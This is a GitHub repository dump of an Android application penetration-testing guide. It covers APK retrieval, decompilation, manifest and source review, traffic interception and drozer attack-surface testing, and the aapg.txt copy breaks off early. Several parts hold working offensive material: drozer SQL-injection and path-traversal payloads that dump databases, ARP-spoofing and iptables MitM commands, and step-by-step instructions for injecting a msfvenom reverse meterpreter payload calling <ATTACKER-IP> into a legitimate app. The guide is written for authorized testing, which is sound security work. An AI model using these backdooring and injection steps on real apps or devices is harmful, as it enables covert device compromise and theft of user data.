├── README.md ├── _config.yml └── aapg.txt /README.md: -------------------------------------------------------------------------------- 1 |

2 | My primary goal with this repo is to define a comprehensive Android application penetration testing guide. 3 | This is an operational guide with the intention to assist you while performing a pentest. 4 |

5 | I will provide what I've learned / will learn at work and share it here with you. 6 | To improve this guide, I would highly appreciate your help with everything you have successfully used in the wild and/or experienced so far at work. 7 |

8 | Gitbook-Link 9 |

10 | I followed this OWASP Mobile Security Testing Guide and tried to summarize it. 11 |
12 |
13 | Download the aapg.txt here 14 |

15 | 16 |
 17 | ===========================================================================
 18 | ============================== 0) Used Tools ==============================
 19 | ===========================================================================
 20 | 
 21 | a) apktool
 22 |     -) AUR package: yay -S android-apktool
 23 | b) dex2jar
 24 | c) jd-gui
 25 | d) jadx
 26 | e) adb
 27 |     -) sudo pacman -S android-tools
 28 |     -) I personally would recommend installing android-studio (it comes with the SDK - including all platform-tools)
 29 |         o) sudo pacman -S andriod-studio
 30 | f) bettercap
 31 |     -) sudo pacman -S bettercap
 32 | g) dnSpy
 33 |     -) .NET decompiler (in case of Xamarin Apps)
 34 | h) enjarify
 35 | i) apk decompiler for lazy: https://github.com/b-mueller/apkx
 36 | 
 37 | ==========================================================================
 38 | ===================== 1) MANUAL STATIC ANALYSIS ==========================
 39 | ==========================================================================
 40 | ////////////////
 41 | 1a) RETRIEVE APK
 42 | ////////////////
 43 | 
 44 |     FROM THE DEVICE ITSELF
 45 |         [COMMANDS]
 46 |             o) adb shell pm list packages (list all installed packages)
 47 |             o) adb shell pm path com.x.x.x (display apk path of package)
 48 |             o) adb pull /data/data/com.x.x.x/app_name.apk (copy the apk file to your system)
 49 | 
 50 |     APK DOWNLOADER
 51 |         1) Search for your application @ https://play.google.com/store
 52 |         2) Copy URL (i.e: https://play.google.com/store/apps/details?id=com.whatsapp)
 53 |         3) Paste URL into one of the downloaders below or one of your own choice: 
 54 |             o) evozi
 55 |             o) apkcombo (recommended)
 56 |             o) apkmirror
 57 | /////////////////
 58 | 1b) DECOMPILE APK
 59 | /////////////////
 60 | 
 61 |     UNZIP (I'm aware this is just unpacking - not decompiling)
 62 |         [COMMANDS]
 63 |             o) unzip app_name.apk
 64 |         [INFO]
 65 |             -) quick & dirty way
 66 |             -) Manifest.xml is not readable
 67 |             -) However .dex files can be found -> d2j-dex2jar
 68 |             -) certs + signature-files available
 69 | 
 70 |     APKTOOL
 71 |         [COMMANDS]
 72 |             o) apktool d path/to/your/app_name.apk (decompiles .dex files to .smali)
 73 |             o) apktool d --no-src app_name.apk (does NOT decompile .dex files to .smali)
 74 |         [INFO]
 75 |             -) not all files do get extracted: i.e certs + signature files & more are missing
 76 | 
 77 |     DEX2JAR
 78 |         [COMMANDS]
 79 |             o) d2j-dex2jar app_name.apk
 80 |         [INFO]
 81 |             -) extracts decompiled .jar only & app_name-error.zip (open with jd-gui)
 82 | 
 83 |     JADX
 84 |         [COMMANDS]
 85 |             o) jadx -d path/to/extract/ --deobf app_name.apk (jadx-deobfuscator -> deobfs simple obf. code)
 86 |             o) jadx -d path/to/extract/ app_name.apk
 87 |             o) jadx -d path/to/extract/ classes.dex (outputs .java files at path/to/extract/sources/)
 88 |         [INFO]
 89 |             -) RECOMMENDED!!
 90 |             -) resources + sources available (source code + certs, ...)
 91 | 
 92 |     DEOBFUSCATION
 93 |         [COMMANDS]
 94 |             o) jadx -d path/to/extract/ --deobf app_name.apk
 95 |             o) simplify -i file_name.smali -o class.dex
 96 |         [INFO]
 97 |             -) no 100% success guaranteed --> works only with simple obfuscated files 
 98 |             -) to get the file_name.smali --> decompile with APKTOOL
 99 | 
100 |     XAMARIN
101 |         [COMMANDS]
102 |             o) 7z e app_name.apk (unzip apk and retrieve *.dll files)
103 |         [INFO]
104 |             -) Xamarin Apps are written in C#, therefore you have to decompile it on a windows machine (i.e. dnSpy)
105 |             -) Main Code can be found in app_name.dll (but usually there are more too)
106 | 
107 | /////////////////////
108 | 1c) CHECK CERTIFICATE
109 | /////////////////////
110 | 
111 |     [COMMANDS]
112 |         o) openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text
113 |         o) jarsigner -verify -verbose -certs app_name.apk (optional)
114 | 
115 |     [INFO]    
116 |         -) jarsigner --> huge output (each file gets validated)
117 |         -) cert location:
118 |             -) unzip.apk --> META-INF/*.RSA
119 |             -) jadx app_name.apk --> resources/META-INF/*.RSA
120 |         -) custom CAs may be definded: res/xml/network_security_config.xml (or similar name)
121 |             -) also cert-pinning info available there (i.e expiration)
122 | 
123 |     [THINGS TO REPORT]
124 |         !) CN=Android Debug (=debug cert -> public known private key)
125 |         !) CA is expired
126 |         !) The CA that issued the server certificate was unknown
127 |         !) CA was self signed
128 |         !) The server configuration is missing an intermediate CA
129 |         !) no cert-pinning (public key pinning) enabled (if you are able to route traffic through a proxy)
130 |         !) cleartext Traffic is allowed (until Android 8.1): 
131 |             -) <base-config cleartextTrafficPermitted="true">
132 |             -) <domain-config cleartextTrafficPermitted="true">
133 | 
134 |     [MORE DETAILS]
135 |         ?) Manifest permissions
136 |         ?) SSL common problems
137 |         ?) ssltest
138 | 
139 | ///////////////////////////////
140 | 1d) ANALYZE ANDROIDMANIFEST.XML
141 | ///////////////////////////////
142 | 
143 |     [COMMANDS]
144 |         RETRIEVE MANIFEST ONLY (already covered if you have properly decompiled the app)
145 |             o) aapt dump app_name.apk AndroidManifest.xml > manifest.txt
146 |             o) aapt l -a app_name.apk > manifest.txt
147 |             o) run app.package.manifest com.x.x.x (within drozer-shell "dr>")
148 | 
149 |         CREATE BACKUP
150 |             o) adb backup -all -apk -shared (full backup)
151 |             o) adb backup com.x.x.x (single app backup)
152 |             o) decode unencrypted backup
153 |                 o) xxd backup.ab (check if encrypted --> if you see "none" --> not encrypted)
154 |                 o) dd if=all-data.ab bs=24 skip=1 | openssl zlib -d > all-data.tar
155 |                     o) tar xvf all-data.tar (extract tar-archive)
156 |         
157 |     [INFO]
158 |         APPLICATION OVERVIEW
159 |             -) <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="28"/> (Version & Requirements)
160 |             -) <activity android:name="com.x.x.x....MainActivity" ... > (existing activities)
161 |             -) <service android:name="com.x.x.x....SampleService" ... > (used services --> find class which interacts with external resources and databases)
162 | 
163 |         PERMISSIONS
164 |             -) <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
165 | 
166 |         DEBUG APPLICATION
167 |             -) Debugging running apps or processes with GDB 
168 |         
169 |     [THINGS TO REPORT]
170 |         !) Wrong version/requirements specified
171 |         !) android:allowBackup = TRUE
172 |         !) android:debuggable = TRUE
173 |         !) andorid:exported= TRUE or not set at all (within <provider>-Tag) --> allows external app to access data
174 |         !) android.permission.WRITE_EXTERNAL_STORAGE / READ_EXTERNAL_STORAGE (ONLY IF sensitive data was stored/read externally)
175 |         !) inproper use of permissions
176 |             !) e.g. the app opens website in external browser (not inApp), however requires "android.permission.INTERNET" --> false usage of permissions. (over-privileged)
177 |             !) "android:protectionLevel" was not set properly (<permission android:name="my_custom_permission_name" android:protectionLevel="signature"/>)
178 |             !) missing android:permission (permission tags limit exposure to other apps)
179 |     [MORE DETAILS]
180 |         ?) Application elements
181 |         ?) Security guidelines for AndroidManifest
182 |         ?) Android Platform Releases
183 | 
184 | ////////////////////////
185 | 1e) SOURCE CODE ANALYSIS
186 | ////////////////////////
187 | 
188 |     [COMMANDS]
189 |         THINGS TO SEARCH FOR QUICKLY
190 |             o) grep -Ei 'api' -Ei 'http' -Ei 'https' -Ei 'URI' -Ei 'URL' -R . (recursive search for endpoints)
191 |             o) grep -Eio '(http|https)://[^/"]+' -Eio 'content://[^/"]+' -R . (check if strings follow a URL pattern)
192 |             o) grep -Ei 'MODE_WORLD_READABLE' -Ei 'MODE_WORLD_WRITEABLE' -R . (check if improper file permissions were set within the code)
193 |             o) grep -Ei 'getCacheDir' -Ei 'getExternalCacheDirs' -R . (check if sensitive files get saved in cache)
194 |             o) grep -Ei 'localUserSecretStore' -Ei 'getWriteableDatabase' -Ei 'getReadableDatabase' -Ei 'SQLiteDatabase' -Ei 'realm' -Ei 'getDefaultInstance' -Ei 'beginTransaction' -Ei 'insert' -Ei 'query' -Ei 'delete' -Ei 'update' -R . (check for database related stuff)
195 |             o) grep -Ei 'openFileOutput' -Ei 'FileOutputStream' -Ei 'OutputStream' -Ei 'getExternalFilesDir' -R . (check for file operation related stuff)
196 |             o) grep -Ei 'AndroidKeystore' -Ei 'KeyStore' -Ei 'crypto' -Ei 'cipher' -Ei 'store' -R . (check for keystore related stuff)
197 |             o) grep -Ei 'username' -Ei 'user' -Ei 'userid' -Ei 'password' -Ei '.config' -Ei 'secret' -Ei 'pass' -Ei 'passwd' -Ei 'token' -Ei 'login' -Ei 'auth' -R . (search for user related stuff)
198 |             o) grep -Ei 'Log.v' -Ei 'Log.d' -Ei 'Log.i' -Ei 'Log.w' -Ei 'Log.e' -Ei 'log' -Ei 'logger' -Ei 'printStackTrace' -Ei 'System.out.print' -Ei 'System.err.print' -R . (log related stuff)
199 |             o) grep -Ei 'Cursor' -Ei 'content' -Ei 'ContentResolver' -Ei 'CONTENT_URI' -Ei 'Loader' -Ei 'onCreateLoader' -Ei 'LoaderManager' -Ei -R . 
200 |         
201 |         OPEN SOURCE-CODE FILES
202 |             o) jd-gui app-dex2jar.jar (opens .jar/.java/.class files) or use an IDE of your choice (android studio or eclipse)
203 | 
204 |     [INFO]
205 |         INTERESTING CLASSES
206 |             -) SharedPreferences (stores key-value pairs)
207 |             -) FileOutPutStream (uses internal or external storage)
208 | 
209 |         INTERESTING FUNCTIONS
210 |             -) getExternal* (uses external storage)
211 |             -) getWriteableDatabase (returns SQLiteDB for writing)
212 |             -) getReadableDatabase (returns SQLiteDB for reading)
213 |             -) getCacheDir / getExternalCacheDirs (uses cached files)
214 |         
215 |     [THINGS TO REPORT]
216 |         !) Cleartext credentials (includes base64 encoded or weak encrypted ones)
217 |         !) Credentials cracked (brute-force, guessing, decrypted with stored cryptographic-key, ...)
218 |         !) File permission MODE_WORLD_READABLE / MODE_WORLD_WRITEABLE (other apps/users are able to read/write)
219 |         !) If http is in use (no SSL)
220 |         !) Anything that shouldn't be there (debug info, comments wiht info disclosure, ...)
221 | 
222 | ==========================================================================
223 | =================== 2) AUTOMATED STATIC ANALYSIS =========================
224 | ==========================================================================
225 | 
226 |     [RECOMMENDED TOOLS] 
227 |         -) MobSF
228 |         -) quark
229 |         -) AndroBugs
230 |         -) JAADAS
231 | 
232 |     [INFO]
233 |         -) At this point you have to google yourself how to install and use them ;)
234 |         -) MobSF + quark are recommended! 
235 | 
236 | ==========================================================================
237 | ===================== 3) MANUAL DYNAMIC ANALYSIS =========================
238 | ==========================================================================
239 | /////////////////
240 | 3a) prerequisites
241 | /////////////////
242 | 
243 |     [PROXY]
244 |         -) Install Burp-Suite (recommended)
245 | 
246 |         [AVD || ROOTED DEVICE]
247 |             -) cert installation:
248 |                 ?) BEFORE Android 7 (Nougat)
249 |                 ?) Android 7 or higher
250 |             -) Proxy setup
251 |                 ?) Virtual device
252 |                 ?) Physical phone
253 | 
254 |         [ADDITIONAL TOOLS]
255 |             -) Install drozer on host & phone
256 |             -) Android SDK
257 |                 !) adb might be located @ Android/Sdk/platform-tools/ (Linux)
258 |         
259 |         [FUNCTIONALITY TEST]
260 |             COMMANDS:
261 |                 o) adb devices (should list your device)
262 |                 o) adb forward tcp:31415 tcp:31415 (port forwarding for drozer client)
263 |                 o) drozer console devices (list available drozer clients)
264 |                 o) drozer console connect (connect to drozer client and end up in drozer-shell: "dr>")
265 | 
266 |     [NON-PROXY AWARE APPS]
267 |         -) Route traffic through the host machine (e.g. built-in Internet Sharing) --> Wireshark (cli: tshark) or tcpdump
268 |             -) Downside - if HTTPS, you are not able to see any request bodies
269 |             1) tcpdump -i <interface: wlan0> -s0 -w - | nc -l -p 11111 (remotely sniff via netcat)
270 |             2) adb forward tcp:11111 tcp:11111
271 |             3) nc localhost 11111 | wireshark -k -S -i -
272 | 
273 |         -) MitM with bettercap (same network as target device):
274 |             -) sudo bettercap -eval "set arp.spoof.targets <TARGER-IP>; arps.spoof on; set arp.spoof.internal true; set arp.spoof.fullduplex true;" (command may defer due to bettercap version)
275 |         
276 |         -) Redirect with iptables:
277 |             -) iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination <PROXY-IP>:8080
278 |             -) verify iptables settings: iptables -t nat -L
279 |             -) reset iptables config: iptables -t nat -F
280 |         -) Hooking or Code-Injection
281 | 
282 |         [WHY?]
283 |             -) In case of XAMARIN (ignores system proxy - not always! give it a try before you cry)
284 |             -) Other protocols are used (XMPP or other non-HTTP)
285 |             -) To intercept push notifications
286 |             -) The app itself verifies connection and refuse  
287 | 
288 | ////////////////////////////////
289 | 3b) INSTALL APPLICATION & USE IT
290 | ////////////////////////////////
291 | 
292 |     [COMMANDS]
293 |         o) adb install path/to/app_name.apk
294 |             o) In case it does not work:
295 |                 o) copy apk to phone and install it directly: adb push app_name.apk /sdcard/
296 |                 o) download apk on phone and install it ()
297 | 
298 |     [INFO]
299 |         ------------------------------------------------------------
300 |         !!!!!INTERCEPT THE WHOLE TRAFFIC FROM THE BEGINNING ON!!!!!!
301 |         ------------------------------------------------------------
302 |         Start using the app, like a normal user would
303 |             o) Log in -> Browse around -> load content & so on ...
304 |             o) Look for:
305 |                 o) File up/download
306 |                     o) try to bypass fileupload/-filter (often there is only a client-side validation only)
307 |                 o) Activity behaviour & functionality
308 |                 o) ANYTHING which indicates a communication to a backend/api or might be stored locally
309 |             o) check proxy and look for suspicious behaviour, requests, new/different endpoints & so on ...
310 | 
311 | /////////////////////
312 | 3c) BYPASS DETECTIONS
313 | /////////////////////
314 | 
315 |     [SSL PINNING]
316 |         !!! TBD soon !!! 
317 | 
318 |     [ROOT DETECTION]
319 |         !!! TBD soon !!!
320 | 
321 |     [EMULATOR DETECTION]
322 |         [COMMANDS]
323 |             CHECK IF ONE IS PRESENT
324 |                 -) grep -Ei "isEmulator" -Ei "root" -Ei "carrierNameFromTelephonyManager" -Ei "smellsLikeAnEmulator" -Ei "SystemProperties" -R . (known methods)
325 |                 -) grep -Ei "build.fingerprint" -Ei "build.hardware" -Ei "product.kernel" -Ei "product.brand" -Ei "product.name" -Ei "product.model" -Ei "product.manufacturer" -Ei "product.device" -Ei "Emulator" -Ei "qemu.hw.mainkeys" -Ei "bootloader" -Ei "bootmode" -Ei "secure" -Ei "build.version.sdk" -R .
326 |                 -) grep -Ei "generic" -Ei "unknown" -Ei "google_sdk" -Ei "Android SDK built for x86" -Ei "Genymotion" -Ei "google_sdk" -Ei "goldfish" -R .
327 |             
328 |             BYPASS IT (IF PRESENT)
329 |                 1) check AVD || rooted device "values (depending what the code is demanding, you might need to modify them)
330 |                     -) adb shell getprop ro.product.name
331 |                     -) adb shell getprop ro.product.device
332 |                     -) adb shell getprop ro.product.model
333 |                     -) adb shell getprop ro.kernel.qemu
334 |                     -) adb shell getprop ro.hardware
335 |                     -) adb shell getprop qemu.hw.mainkeys
336 |                     -) adb shell getprop ro.bootloader
337 |                     -) adb shell getprop ro.bootmode
338 |                     -) adb shell getprop ro.secure
339 |                     -) adb shell getprop ro.build.fingerprint
340 |                     -) adb shell getprop ro.build.version.sdk
341 |                 2) Modify the code, so YOUR values will pass the test || delete the whole validation (if possible)
342 |                 3) Recompile: apktool b ./modified_app_project_dir
343 |                 4) Sign apk: 
344 |                     4.1) create key: keytool -genkey -v -keystore my-release-key.keystore -alias myalias  -keyalg RSA -keysize 2048 -validity 10000
345 |                         !) remember the password you used
346 |                     4.2) sign apk: /home/<user>/Android/Sdk/build-tools/<27.0.3_OR_CHECK_YOUR_USED_VERSION>/apksigner sign --ks my-release-key.keystore ./modified_app_project_dir/dist/modified_app.apk
347 |                 5) install apk on device: adb install /path/to/modified_app.apk
348 |         
349 |         [INFO]
350 |             !) No 100% success guaranteed:
351 |                 !) there might be fancy solutions out there (appreciate any input here!!)
352 |                 !) In case of heavy obfuscation --> good look with that
353 |                 !) Very often the app will be delivered with a root detection as well
354 |             !) The grep commands above search for known method-names or values which might get executed/checked on app-startup
355 |         
356 |         [MORE DETAILS]
357 |             ?) Bypassing Android Emulator Part I
358 |             ?) Bypassing Android Emulator Part II
359 |             ?) Bypassing Android Emulator Part III 
360 |            
361 |         [THINGS TO REPORT]
362 |             !) Bypassing the emulator detection is possible by simple code-tampering
363 | 
364 | /////////////////////////
365 | 3d) ANALYZE LOCAL STORAGE
366 | /////////////////////////
367 | 
368 |     [COMMANDS]
369 |         LOCAL DATABASE
370 |             o) sqlite3 db_name (open database within adb-shell)
371 |                 o) in sqlite-terminal: 
372 |                     o) .tables (lists all tables) --> SELECT * FROM table_name (show table content)
373 |                     o) .schema table_name (shows columns)
374 |                     o) SELECT sql FROM sqlite_master WHERE tbl_name = 'insert_table_name' AND type = 'table'; (see table creation query -> reveals columns as well)
375 |             o) For .realm files:
376 |                 o) adb pull path/to/database/on/phone/name.realm path/to/store/db/on/pc/
377 |                 o) open within RealmStudio
378 | 
379 |     [INFO]
380 |         COMMON LOCATIONS OF SECRETS/INFORMATION
381 |             -) resources (i.e: res/values/strings.xml)
382 |             -) build configs
383 |             -) /data/data/<com.x.x.x>/ 
384 |                 -) shared_prefs/ (search for keysets -> used to encrypt files --> might be encrypted as well, if handled properly)
385 |                 -) cache/
386 |                 -) database/ (local sqlite database)
387 |             -) /sdcard/Android/<com.x.x.x>/
388 |         
389 |         KEEP YOUR EYES OPEN
390 |             -) developer files
391 |             -) backup files
392 |             -) old files
393 | 
394 |     [THINGS TO REPORT]
395 |         !) Hardcoded cryptographics key
396 |         !) Cleartext credentials stored in .config/.xml & sqlite-/realm-DB
397 |         !) Misplaced files (i.e. creds.txt stored on SD-Card)
398 |         !) Wrong file permissions set (also have a look @ 1e)
399 | 
400 |     [MORE DETAILS]
401 |         ?) data storage security on android
402 | 
403 | //////////////////
404 | 3e) ATTACK SURFACE
405 | //////////////////
406 | 
407 |     ----------------
408 |     AT THE BEGINNING
409 |     ----------------
410 |             [COMMANDS]
411 |                 DROZER
412 |                     o) run app.package.attacksurface com.x.x.x
413 |             
414 |             [INFO]
415 |                 -) lists exported activities, contentprovider, broadcast receivers & services (=makes accessible to other apps)
416 |             
417 |             [THINGS TO REPORT]
418 |                 !) "is debuggable" output shows up (allows attaching a debugger to the process, using adb, and step through the code) 
419 | 
420 |     ---------
421 |     ACTIVITES
422 |     ---------
423 |             [COMMANDS]
424 |                 DROZER
425 |                     o) run app.activity.info -a com.x.x.x (display exported acitivities)
426 |                     o) run app.activity.start --component com.x.x.x com.x.x.x.ActivityName (start activity)
427 |                 ADB
428 |                     o) adb shell am start -n com.x.x.x/ActivityName
429 |             
430 |             [THINGS TO REPORT]
431 |                 !) Bypassed so called "protected" activites (i.e. creds needed) and access sensitive information
432 |                 !) Accessed "hidden" activities (if Admin-UI or Debug-UI was implemented)
433 |     
434 |     ----------------
435 |     CONTENT PROVIDER
436 |     ----------------
437 |             [COMMANDS]
438 |                 DROZER
439 |                     o) run app.provider.info -a com.x.x.x
440 |                     o) run scanner.provider.finduris -a com.x.x.x (guesses paths & determines accessible content)
441 |                     o) run app.provider.query content://<URI> --vertical (use uris from above or guess yourself)
442 |                         o) in addition: .insert / .update / .delete (google for proper statements)
443 |                     o) run scanner.provider.injection -a com.x.x.x (Test content providers for SQL injection vulnerabilities)
444 |                     o) run scanner.provider.sqltables -a com.x.x.x (Find tables accessible through SQL injection vulnerabilities)
445 |                     ----
446 |                     SQLi
447 |                     ----
448 |                         o) run app.provider.query content://com.x.x.x.ProviderName/path/ --prjection "* FROM SQLITE_MASTER WHERE type='table';--" (list all db tables)
449 |                         o) run app.provider.query content://com.x.x.x.ProviderName/path/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords
450 |                         o) run app.provider.query content://com.x.x.x.ProviderName/path/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
451 |                         o) EXAMPLE:
452 |                             o) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" (retreive data from otherwise protected tables)
453 |                     -------------
454 |                     FILESYSTEM-CP
455 |                     -------------
456 |                         o) run app.provider.download content://com.x.x.x.ProviderName/../../../../../../../../data/data/com.x.x.x/database.db /home/user/database.db (download db)
457 |                         o) run scanner.provider.traversal -a com.x.x.x (find content provider that are susceptible to directory traversal)
458 |                         o) run app.provider.read content://com.x.x.x.ProviderName/path/to/file
459 |                         o) EXAMPLE:
460 |                             o) run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts (/etc/hosts is world-readable -> no biggy)
461 |                             o) run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db
462 |                 ADB
463 |                     o) adb shell content query --uri content:/com.x.x.x.ProviderName/file_or_path
464 |             
465 |             [THINGS TO REPORT]
466 |                 !) Inproper use of permissions (no path permissions, no READ/WRITE permissions)
467 |                 !) If SQL Injection is possible
468 |                     !) If weak hash-function was used (like MD5) on passwords or other sensitive data
469 |                 !) Accessed db-files
470 | 
471 |     --------
472 |     SERVICES
473 |     --------
474 |             [COMMANDS]
475 |                 DROZER
476 |                     o) run app.service.info -a com.x.x.x (list details on exported services)
477 |                     o) run app.service.send com.your.app com.google.firebase.iid.FirebaseInstanceIdService baaadText 2 3
478 |                         ?) if an error occurs --> analyze the decompiled source code (if available) and try other values until success
479 |             
480 |             [THINGS TO REPORT]
481 |                 !) Extracted sensitive data 
482 | 
483 |     ------------
484 |     MORE DETAILS
485 |     ------------
486 |         ?) How to use drozer (for further details translate page)
487 |         ?) Using drozer
488 |         ?) App hacking with drozer
489 | 
490 | ////////////////
491 | 3f) LOG ANALYSIS
492 | ////////////////
493 | 
494 |     [COMMANDS]
495 |         LIVE LOGGING
496 |             -) within adb-shell: ps | grep "<name>" (from com.x.x.x.x)
497 |             -) logcat | grep <process-ID-of-app>
498 |             -) adb logcat | grep "$(adb shell ps | grep com.x.x.x | awk '{print $2}')"
499 |     
500 |     [INFO]
501 |         !) Check if the app created its own logfile: /data/data/com.x.x.x/
502 | 
503 |     [THINGS TO REPORT]
504 |         !) Sensitive data was exposed within logs/log-files (i.e: "user bob tried to login in with secretpw123") 
505 | 
506 | ==========================================================================
507 | ========================== 4) APK TAMPERING ==============================
508 | ==========================================================================
509 | //////////////////////////////
510 | 4a) SIMPLE REVERSE METERPRETER
511 | //////////////////////////////
512 | 
513 |     [NON XAMARIN APPS]
514 |         1) msfvenom -p android/meterpreter/reverse_https LHOST=<ATTACKER-IP> LPORT=<ATTACKER-PORT> -o meterpreter.apk
515 |         2) Decompile meterpreter.apk & original app_name.apk
516 |             2.1) apktool d -f -o ./payload_apk /path/to/your/meterpreter.apk
517 |             2.2) apktool d -f -o ./original_apk /path/to/your/app_name.apk
518 |         3) Create folder: mkdir ./original_apk/metasploit; mkdir ./original_apk/metasploit/stage 
519 |         4) Copy payload-files: cp ./payload_apk/smali/com/metasploit/stage/* ./original_apk/smali/metasploit/stage/
520 |         5) Get MainActivity name: Search in AndroidManifest.xml for an <activity>-Tag which contains both:
521 |             5.1) <action android:name="android.intent.action.MAIN"/>
522 |             5.2) <category android:name="android.intent.category.LAUNCHER"/>
523 |             5.3) Look out for the tag-parameter: android:name="core.MainActivity" (it can have a different name, core indicates a directory within the smali dir)
524 |         6) Open the MainActivity.smali:
525 |             6.1) Search for: ;->onCreate(Landroid/os/Bundle;)V
526 |             6.2) Add the following in the next line (after 6.1): invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
527 |         7) Copy all necessary app-permissions from ./meterpreter/AndroidManifest.xml into the original ./original_apk/AndroidManifest.xml (check for duplicates -> otherwise some meterpreter functions will not work, due to missing permissions)
528 |         8) Recompile: apktool b ./original_apk
529 |         9) Sign apk: 
530 |             9.1) create key: keytool -genkey -v -keystore my-release-key.keystore -alias myalias  -keyalg RSA -keysize 2048 -validity 10000
531 |                 !) remember the password you used
532 |             9.2) sign apk: /home/<user>/Android/Sdk/build-tools/<27.0.3_OR_CHECK_YOUR_USED_VERSION>/apksigner sign --ks my-release-key.keystore ./original_apk/dist/app_name.apk
533 |         10) run a meterpreter session handler:
534 |             10.1) msfconsole
535 |             10.2) use multi/handler
536 |             10.3) set payload android/meterpreter/reverse_https
537 |             10.4) set LHOST <ATTACKER-IP> (same as used to generate the payload - see step 1)
538 |             10.5) set LPORT <ATTACKER-PORT> (same as used to generate the payload - see step 1)
539 |             10.6) run
540 |         11) install apk on device: adb install /path/to/app_with_backdoor.apk
541 |         12) Start app on device
542 |         13) Have fun ;) 
543 | 
544 |         [INFO]
545 |             -) Guide I excerpted - worked multiple times at work: wonderhowto
546 | 
547 |     XAMARIN APPS
548 |         ?) !!! TBD !!! - dll-injection? I was not able to find anything useful - appreciate any input here!! 
549 | 
550 |     [THINGS TO REPORT]
551 |         !) If it works (don't give up if it does not work the easy way)
552 | 
553 | /////////////////////////////////
554 | 4b) OTHER WAYS TO BACKDOOR AN APP
555 | /////////////////////////////////
556 | 
557 |     Thanks to msfvenom, there is a quick and easy way:
558 |     
559 |     [COMMAND]
560 |         -) msfvenom -x target_app.apk -p android/meterpreter/reverse_tcp LHOSt= LPORT= -o target_modified.apk
561 |         -) adb install target_modified.apk
562 |         -) start app
563 |         
564 |     [INFO]
565 |         !) Works with Xamarin apps too (this made me very happy)
566 |         
567 |     [THINGS TO REPORT]
568 |         !) If it works (don't give up if it does not work the easy way)
569 | 
570 |     [MORE DETAILS]
571 |         ?) Simple apk injection
572 |     
573 |     !!! ANY OTHER IDEAS? appreciate any input here !!!
574 |     
575 | ///////////////
576 | 4c) ANDROID NDK
577 | ///////////////
578 | 
579 |     !!! TBD !!! - appreciate any input here!! 
580 | 
581 | 
582 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /aapg.txt: -------------------------------------------------------------------------------- 1 | =========================================================================== 2 | ============================== 0) Used Tools ============================== 3 | =========================================================================== 4 | 5 | a) apktool (https://ibotpeaches.github.io/Apktool/install/) 6 | -) AUR package: yay -S android-apktool 7 | b) dex2jar (https://github.com/pxb1988/dex2jar) 8 | c) jd-gui (https://github.com/java-decompiler/jd-gui) 9 | d) jadx (https://github.com/skylot/jadx) 10 | e) adb (sudo pacman -S android-tools) 11 | -) It is recommended to instal android-studio (it comes with the SDK - including all platform-tools) 12 | o) sudo pacman -S andriod-studio 13 | f) bettercap (sudo pacman -S bettercap) 14 | -) https://www.bettercap.org/legacy/index.html#document-install 15 | g) dnSpy - .NET decompiler (https://github.com/0xd4d/dnSpy) (in case of Xamarin Apps) 16 | h) enjarify (https://github.com/google/enjarify) 17 | i) apk decompiler for lazy (https://github.com/b-mueller/apkx) 18 | 19 | ========================================================================== 20 | ===================== 1) MANUAL STATIC ANALYSIS ========================== 21 | ========================================================================== 22 | //////////////// 23 | 1a) RETRIEVE APK 24 | //////////////// 25 | 26 | FROM THE DEVICE ITSELF 27 | [COMMANDS] 28 | o) adb shell pm list packages (list all installed packages) 29 | o) adb shell pm path com.x.x.x (display apk path of package) 30 | o) adb pull /data/data/com.x.x.x/app_name.apk (copy the apk file to your system) 31 | 32 | APK DOWNLOADER 33 | 1) Search for your application @ https://play.google.com/store 34 | 2) Copy URL (i.e: https://play.google.com/store/apps/details?id=com.whatsapp) 35 | 3) Paste URL into one of the downloaders or one of your choice: 36 | o) https://apps.evozi.com/apk-downloader/ 37 | o) https://apkcombo.com (recommended) 38 | o) https://www.apkmirror.com 39 | 40 | ///////////////// 41 | 1b) DECOMPILE APK 42 | ///////////////// 43 | 44 | UNZIP 45 | [COMMANDS] 46 | o) unzip app_name.apk 47 | [INFO] 48 | -) quick & dirty way 49 | -) Manifest.xml is not readable 50 | -) However .dex files can be found -> d2j-dex2jar 51 | -) certs + signature-files available 52 | 53 | APKTOOL 54 | [COMMANDS] 55 | o) apktool d path/to/your/app_name.apk (decompiles .dex files to .smali) 56 | o) apktool d --no-src app_name.apk (does NOT decompile .dex files to .smali) 57 | [INFO]: 58 | -) not all files do get extracted: i.e certs + signature files & more are missing 59 | 60 | DEX2JAR 61 | [COMMANDS] 62 | o) d2j-dex2jar app_name.apk 63 | [INFO] 64 | -) extracts decompiled .jar only & app_name-error.zip (open with jd-gui) 65 | 66 | JADX 67 | [COMMANDS] 68 | o) jadx -d path/to/extract/ --deobf app_name.apk (jadx-deobfuscator -> deobfs simple obf. code) 69 | o) jadx -d path/to/extract/ app_name.apk 70 | o) jadx -d path/to/extract/ classes.dex (outputs .java files at path/to/extract/sources/) 71 | [INFO] 72 | -) RECOMMENDED!! 73 | -) resources + sources available (source code + certs, ...) 74 | 75 | DEOBFUSCATION 76 | [COMMANDS] 77 | o) jadx -d path/to/extract/ --deobf app_name.apk 78 | o) simplify -i file_name.smali -o class.dex 79 | [INFO] 80 | -) no 100% success guaranteed --> works only with simple obfuscated files 81 | -) to get the file_name.smali --> decompile with APKTOOL 82 | 83 | XAMARIN 84 | [COMMANDS] 85 | o) 7z e app_name.apk (unzip apk and retrieve *.dll files) 86 | [INFO] 87 | -) Xamarin Apps are written in C#, therefore you have to decompile it on a windows machine (i.e. dnSpy) 88 | -) Main Code can be found in app_name.dll (but usually there are more too) 89 | 90 | ///////////////////// 91 | 1c) CHECK CERTIFICATE 92 | ///////////////////// 93 | 94 | [COMMANDS] 95 | o) openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text 96 | o) jarsigner -verify -verbose -certs app_name.apk (optional) 97 | 98 | [INFO] 99 